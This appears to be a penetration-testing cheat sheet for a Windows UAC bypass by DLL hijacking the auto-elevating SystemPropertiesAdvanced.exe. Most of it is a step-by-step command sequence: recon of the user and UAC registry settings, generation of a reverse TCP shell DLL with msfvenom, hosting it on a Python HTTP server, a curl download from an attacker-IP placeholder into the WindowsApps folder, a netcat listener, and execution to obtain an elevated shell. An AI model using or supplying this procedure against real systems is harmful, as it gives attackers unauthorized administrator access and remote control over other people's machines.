user-account-control

whoami command to check current user information

whoami /user

List members of the administrators group

net localgroup administrators

Display the privileges of the current user

whoami /priv

Query registry to check if UAC is enabled

REG QUERY HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\ /v EnableLUA

Query registry for administrator consent prompt behavior

REG QUERY HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\ /v ConsentPromptBehaviorAdmin

Get the OS version using PowerShell

[environment]::OSVersion.Version

Print the PATH environment variable

cmd /c echo %PATH%

List tasks and filter for rundll32 processes

# Useful to identify suspicious rundll32 usage
tasklist /svc | findstr "rundll32"

Kill a process by specifying its PID

# Replace <pid> with the actual process ID
taskkill /PID <pid> /F

Generate a reverse TCP shell DLL using msfvenom

# Replace <attacker_ip> and <attacker_port> with actual values

msfvenom -p windows/shell_reverse_tcp LHOST=<attacker_ip> LPORT=<attacker_port> -f dll > srrstr.dll

Start a Python HTTP server to host the DLL payload

python3 -m http.server <port>

Download the DLL file from the attacker's server using curl

curl http://<attacker_ip>:<port>/srrstr.dll -O "C:\\Users\\<user>\\AppData\\Local\\Microsoft\\WindowsApps\\srrstr.dll"

Set up Netcat listener to capture the reverse shell

nc -lvnp <attacker_port>

Execute the DLL payload using rundll32

rundll32 shell32.dll,Control_RunDLL C:\\Users\\<user>\\AppData\\Local\\Microsoft\\WindowsApps\\srrstr.dll

Open advanced system properties dialog

C:\\Windows\\SysWOW64\\SystemPropertiesAdvanced.exe

Confirm the current user after potential privilege escalation

whoami

Key Concepts:

• UAC Functionality: - UAC prompts for elevation when applications require administrator privileges. - It separates standard user and administrator tokens. - It is a security convenience, not a security boundary.

• UAC Bypass: - Leveraging vulnerabilities or unintended behavior in Windows binaries. - DLL hijacking is a common technique. - SystemPropertiesAdvanced.exe is a auto elevating binary.

• DLL Hijacking: - Placing a malicious DLL in a directory where a trusted binary searches for it. - Windows DLL search order is critical. Approach, Commands, Tools, and Techniques:

1. UAC and User Information Gathering: - whoami /user (Check current user). - net localgroup administrators (Verify admin group membership). - whoami /priv (Review user privileges). - REG QUERY HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\ /v EnableLUA (Check if UAC is enabled). - REG QUERY HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\ /v ConsentPromptBehaviorAdmin (Check UAC level). - [environment]::OSVersion.Version (PowerShell: Check Windows version). - cmd /c echo %PATH% (Review PATH environment variable). - tasklist /svc | findstr "rundll32" (List running rundll32 processes). - taskkill /PID <pid> /F (Kill rundll32 processes).

2. Malicious DLL Generation and Transfer: - msfvenom -p windows/shell_reverse_tcp LHOST=<attacker_ip> LPORT=<attacker_port> -f dll > srrstr.dll (Generate malicious DLL). - python3 -m http.server <port> (Start HTTP server). - curl http://<attacker_ip>:<port>/srrstr.dll -O "C:\Users\<user>\AppData\Local\Microsoft\WindowsApps\srrstr.dll" (Download DLL).

3. Listener Setup: - nc -lvnp <attacker_port> (Start Netcat listener).

4. Testing and Exploitation: - rundll32 shell32.dll,Control_RunDLL C:\Users\<user>\AppData\Local\Microsoft\WindowsApps\srrstr.dll (Test DLL execution). - C:\Windows\SysWOW64\SystemPropertiesAdvanced.exe (Execute vulnerable binary).

5. Verification: - whoami (Verify elevated privileges). - whoami /priv (Verify elevated privileges)

Commands:

• whoami

• net localgroup administrators

• REG QUERY

• cmd /c echo %PATH%

• tasklist

• taskkill

• msfvenom

• python3 -m http.server

• curl

• nc

• rundll32 Tools:

• msfvenom (Metasploit)

• nc (Netcat) Techniques:

• UAC bypass.

• DLL hijacking.

• Exploiting auto-elevating binaries. Key Considerations:

• Windows version and build number are critical for UAC bypass selection.

• DLL search order.

• Attacker controlled IP addresses and Ports.

• Process cleanup.